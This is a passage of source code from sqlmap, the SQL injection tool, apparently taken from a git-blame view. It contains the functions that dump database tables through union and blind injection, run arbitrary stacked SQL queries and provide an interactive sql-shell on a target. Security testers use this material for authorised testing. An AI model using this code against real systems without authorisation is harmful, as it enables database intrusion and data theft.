for db, tblData in dbs.items():
|
|
|
|
if tblData:
|
|
|
|
message += "[%s]\n" % db
|
2010-01-09 03:05:00 +03:00
|
|
|
|
|
|
|
message += "[q]uit"
|
|
|
|
test = readInput(message, default="a")
|
|
|
|
|
2010-01-10 00:39:10 +03:00
|
|
|
if not test or test in ("a", "A"):
|
2010-01-09 03:05:00 +03:00
|
|
|
dumpFromDbs = dbs.keys()
|
2010-01-10 00:39:10 +03:00
|
|
|
elif test in ("q", "Q"):
|
2010-01-09 03:05:00 +03:00
|
|
|
return
|
|
|
|
else:
|
|
|
|
dumpFromDbs = test.replace(" ", "").split(",")
|
|
|
|
|
|
|
|
for db, tblData in dbs.items():
|
2010-01-10 22:12:54 +03:00
|
|
|
if db not in dumpFromDbs or not tblData:
|
2010-01-09 03:05:00 +03:00
|
|
|
continue
|
|
|
|
|
|
|
|
conf.db = db
|
2010-01-10 00:39:10 +03:00
|
|
|
dumpFromTbls = []
|
|
|
|
message = "which table(s) of database '%s'?\n" % db
|
|
|
|
message += "[a]ll (default)\n"
|
|
|
|
|
|
|
|
for tbl in tblData:
|
|
|
|
message += "[%s]\n" % tbl
|
|
|
|
|
|
|
|
message += "[s]kip\n"
|
|
|
|
message += "[q]uit"
|
|
|
|
test = readInput(message, default="a")
|
|
|
|
|
|
|
|
if not test or test in ("a", "A"):
|
|
|
|
dumpFromTbls = tblData
|
|
|
|
elif test in ("s", "S"):
|
|
|
|
continue
|
|
|
|
elif test in ("q", "Q"):
|
|
|
|
return
|
|
|
|
else:
|
|
|
|
dumpFromTbls = test.replace(" ", "").split(",")
|
2010-01-09 03:05:00 +03:00
|
|
|
|
|
|
|
for table, columns in tblData.items():
|
2010-01-10 00:39:10 +03:00
|
|
|
if table not in dumpFromTbls:
|
|
|
|
continue
|
|
|
|
|
2010-01-09 03:05:00 +03:00
|
|
|
conf.tbl = table
|
|
|
|
conf.col = ",".join(column for column in columns)
|
|
|
|
kb.data.cachedColumns = {}
|
|
|
|
kb.data.dumpedTable = {}
|
|
|
|
|
|
|
|
data = self.dumpTable()
|
|
|
|
|
|
|
|
if data:
|
|
|
|
dumper.dbTableValues(data)
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
def dumpTable(self):
|
2010-01-09 03:05:00 +03:00
|
|
|
if not conf.tbl and not conf.col:
|
|
|
|
errMsg = "missing both table and column parameters, please "
|
|
|
|
errMsg += "provide at least one of them"
|
2008-10-15 19:38:22 +04:00
|
|
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
|
|
|
|
2010-01-09 03:05:00 +03:00
|
|
|
if conf.col and not conf.tbl:
|
|
|
|
self.dumpColumn()
|
|
|
|
return
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if "." in conf.tbl:
|
|
|
|
conf.db, conf.tbl = conf.tbl.split(".")
|
|
|
|
|
2008-10-26 19:19:15 +03:00
|
|
|
self.forceDbmsEnum()
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if not conf.db:
|
2008-11-13 01:53:25 +03:00
|
|
|
warnMsg = "missing database parameter, sqlmap is going to "
|
|
|
|
warnMsg += "use the current database to dump table "
|
|
|
|
warnMsg += "'%s' entries" % conf.tbl
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
conf.db = self.getCurrentDb()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
rootQuery = queries[kb.dbms].dumpTable
|
|
|
|
|
|
|
|
if conf.col:
|
2008-11-04 22:54:44 +03:00
|
|
|
colList = conf.col.split(",")
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedColumns[conf.db] = {}
|
|
|
|
kb.data.cachedColumns[conf.db][conf.tbl] = {}
|
2008-10-15 19:38:22 +04:00
|
|
|
for column in colList:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedColumns[conf.db][conf.tbl][column] = None
|
|
|
|
elif not kb.data.cachedColumns:
|
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-10-26 20:07:55 +03:00
|
|
|
errMsg = "information_schema not available, "
|
|
|
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
|
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedColumns = self.getColumns(onlyColNames=True)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
colList = kb.data.cachedColumns[conf.db][conf.tbl].keys()
|
2008-10-15 19:38:22 +04:00
|
|
|
colList.sort(key=lambda x: x.lower())
|
|
|
|
colString = ", ".join(column for column in colList)
|
|
|
|
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching"
|
2008-10-26 20:07:55 +03:00
|
|
|
if conf.col:
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg += " columns '%s'" % colString
|
|
|
|
infoMsg += " entries for table '%s'" % conf.tbl
|
|
|
|
infoMsg += " on database '%s'" % conf.db
|
|
|
|
logger.info(infoMsg)
|
2008-10-26 20:07:55 +03:00
|
|
|
|
2010-01-09 03:05:00 +03:00
|
|
|
entriesCount = 0
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.unionPosition:
|
2008-10-15 19:38:22 +04:00
|
|
|
if kb.dbms == "Oracle":
|
|
|
|
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
|
|
|
|
else:
|
|
|
|
query = rootQuery["inband"]["query"] % (colString, conf.db, conf.tbl)
|
|
|
|
entries = inject.getValue(query, blind=False)
|
|
|
|
|
|
|
|
if entries:
|
2010-01-09 03:05:00 +03:00
|
|
|
if isinstance(entries, str):
|
|
|
|
entries = [ entries ]
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
entriesCount = len(entries)
|
|
|
|
index = 0
|
|
|
|
|
|
|
|
for column in colList:
|
|
|
|
colLen = len(column)
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.dumpedTable.has_key(column):
|
|
|
|
kb.data.dumpedTable[column] = { "length": 0, "values": [] }
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
for entry in entries:
|
|
|
|
if isinstance(entry, str):
|
|
|
|
colEntry = entry
|
|
|
|
else:
|
|
|
|
colEntry = entry[index]
|
|
|
|
|
|
|
|
colEntryLen = len(colEntry)
|
|
|
|
maxLen = max(colLen, colEntryLen)
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if maxLen > kb.data.dumpedTable[column]["length"]:
|
|
|
|
kb.data.dumpedTable[column]["length"] = maxLen
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.dumpedTable[column]["values"].append(colEntry)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
index += 1
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.dumpedTable:
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching number of "
|
2008-10-15 19:38:22 +04:00
|
|
|
if conf.col:
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg += "columns '%s' " % colString
|
|
|
|
infoMsg += "entries for table '%s' " % conf.tbl
|
|
|
|
infoMsg += "on database '%s'" % conf.db
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if kb.dbms == "Oracle":
|
|
|
|
query = rootQuery["blind"]["count"] % conf.tbl.upper()
|
|
|
|
else:
|
|
|
|
query = rootQuery["blind"]["count"] % (conf.db, conf.tbl)
|
2009-04-22 15:48:07 +04:00
|
|
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-02 22:21:19 +03:00
|
|
|
if not count.isdigit() or not len(count) or count == "0":
|
2010-01-09 03:05:00 +03:00
|
|
|
warnMsg = "unable to retrieve the number of "
|
2008-10-15 19:38:22 +04:00
|
|
|
if conf.col:
|
2010-01-09 03:05:00 +03:00
|
|
|
warnMsg += "columns '%s' " % colString
|
|
|
|
warnMsg += "entries for table '%s' " % conf.tbl
|
|
|
|
warnMsg += "on database '%s'" % conf.db
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-09 03:05:00 +03:00
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
return None
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
lengths = {}
|
|
|
|
entries = {}
|
|
|
|
indexRange = getRange(count, True)
|
|
|
|
|
|
|
|
for index in indexRange:
|
|
|
|
for column in colList:
|
|
|
|
if column not in lengths:
|
|
|
|
lengths[column] = 0
|
|
|
|
|
|
|
|
if column not in entries:
|
|
|
|
entries[column] = []
|
|
|
|
|
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
|
|
query = rootQuery["blind"]["query"] % (column, conf.db,
|
2008-10-20 14:09:37 +04:00
|
|
|
conf.tbl, index)
|
2008-10-15 19:38:22 +04:00
|
|
|
elif kb.dbms == "Oracle":
|
|
|
|
query = rootQuery["blind"]["query"] % (column, column,
|
|
|
|
conf.tbl.upper(),
|
2008-10-20 14:09:37 +04:00
|
|
|
index)
|
2008-10-15 19:38:22 +04:00
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
|
|
|
query = rootQuery["blind"]["query"] % (column, conf.db,
|
|
|
|
conf.tbl, column,
|
|
|
|
index, column,
|
2008-10-20 14:09:37 +04:00
|
|
|
conf.db, conf.tbl)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
value = inject.getValue(query, inband=False)
|
|
|
|
|
|
|
|
lengths[column] = max(lengths[column], len(value))
|
|
|
|
entries[column].append(value)
|
|
|
|
|
|
|
|
for column, columnEntries in entries.items():
|
|
|
|
if lengths[column] < len(column):
|
|
|
|
length = len(column)
|
|
|
|
else:
|
|
|
|
length = lengths[column]
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.dumpedTable[column] = {
|
2008-10-15 19:38:22 +04:00
|
|
|
"length": length,
|
|
|
|
"values": columnEntries,
|
|
|
|
}
|
|
|
|
|
|
|
|
entriesCount = len(columnEntries)
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.data.dumpedTable:
|
|
|
|
kb.data.dumpedTable["__infos__"] = {
|
2008-10-15 19:38:22 +04:00
|
|
|
"count": entriesCount,
|
|
|
|
"table": conf.tbl,
|
|
|
|
"db": conf.db
|
|
|
|
}
|
|
|
|
else:
|
2010-01-09 03:05:00 +03:00
|
|
|
warnMsg = "unable to retrieve the entries of "
|
2008-10-15 19:38:22 +04:00
|
|
|
if conf.col:
|
2010-01-09 03:05:00 +03:00
|
|
|
warnMsg += "columns '%s' " % colString
|
|
|
|
warnMsg += "for table '%s' " % conf.tbl
|
|
|
|
warnMsg += "on database '%s'" % conf.db
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-09 03:05:00 +03:00
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
return None
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return kb.data.dumpedTable
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def dumpAll(self):
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "information_schema not available, "
|
|
|
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
|
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
conf.db = None
|
|
|
|
conf.tbl = None
|
|
|
|
conf.col = None
|
|
|
|
kb.data.cachedDbs = []
|
|
|
|
kb.data.cachedTables = self.getTables()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
for db, tables in kb.data.cachedTables.items():
|
2008-10-15 19:38:22 +04:00
|
|
|
conf.db = db
|
|
|
|
|
|
|
|
for table in tables:
|
|
|
|
conf.tbl = table
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedColumns = {}
|
|
|
|
kb.data.dumpedTable = {}
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
data = self.dumpTable()
|
|
|
|
|
|
|
|
if data:
|
|
|
|
dumper.dbTableValues(data)
|
|
|
|
|
|
|
|
def sqlQuery(self, query):
|
2010-01-05 19:15:31 +03:00
|
|
|
output = None
|
|
|
|
sqlType = None
|
2008-12-19 23:09:46 +03:00
|
|
|
|
|
|
|
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
|
|
|
for sqlStatement in sqlStatements:
|
|
|
|
if query.lower().startswith(sqlStatement):
|
|
|
|
sqlType = sqlTitle
|
|
|
|
|
|
|
|
break
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
message = "do you want to retrieve the SQL statement output? "
|
|
|
|
message += "[Y/n] "
|
|
|
|
getOutput = readInput(message, default="Y")
|
|
|
|
|
|
|
|
if not getOutput or getOutput in ("y", "Y"):
|
2008-12-19 23:09:46 +03:00
|
|
|
infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
|
2008-12-19 23:48:33 +03:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
output = inject.getValue(query, fromUser=True)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
return output
|
2008-12-19 23:09:46 +03:00
|
|
|
else:
|
2009-05-20 14:19:19 +04:00
|
|
|
query = urlencode(query, convall=True)
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if kb.stackedTest is None:
|
2008-12-19 23:48:33 +03:00
|
|
|
stackedTest()
|
2008-12-19 23:09:46 +03:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if not kb.stackedTest:
|
2008-12-19 23:48:33 +03:00
|
|
|
return None
|
|
|
|
else:
|
|
|
|
if sqlType:
|
|
|
|
infoMsg = "executing %s query: '%s'" % (sqlType, query)
|
|
|
|
else:
|
|
|
|
infoMsg = "executing unknown SQL type query: '%s'" % query
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-19 23:48:33 +03:00
|
|
|
inject.goStacked(query)
|
|
|
|
|
|
|
|
infoMsg = "done"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
output = False
|
|
|
|
|
|
|
|
return output
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def sqlShell(self):
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "calling %s shell. To quit type " % kb.dbms
|
|
|
|
infoMsg += "'x' or 'q' and press ENTER"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
autoCompletion(sqlShell=True)
|
|
|
|
|
|
|
|
while True:
|
|
|
|
query = None
|
|
|
|
|
|
|
|
try:
|
2009-04-22 15:48:07 +04:00
|
|
|
query = raw_input("sql-shell> ")
|
2008-10-15 19:38:22 +04:00
|
|
|
except KeyboardInterrupt:
|
|
|
|
print
|
|
|
|
errMsg = "user aborted"
|
|
|
|
logger.error(errMsg)
|
|
|
|
except EOFError:
|
|
|
|
print
|
|
|
|
errMsg = "exit"
|
|
|
|
logger.error(errMsg)
|
|
|
|
break
|
|
|
|
|
|
|
|
if not query:
|
|
|
|
continue
|
|
|
|
|
|
|
|
if query.lower() in ( "x", "q", "exit", "quit" ):
|
|
|
|
break
|
|
|
|
|
|
|
|
output = self.sqlQuery(query)
|
|
|
|
|
|
|
|
if output and output != "Quit":
|
|
|
|
dumper.string(query, output)
|
2008-12-19 23:48:33 +03:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
elif not output:
|
2008-12-19 23:48:33 +03:00
|
|
|
pass
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
elif output != "Quit":
|
|
|
|
print "No output"
|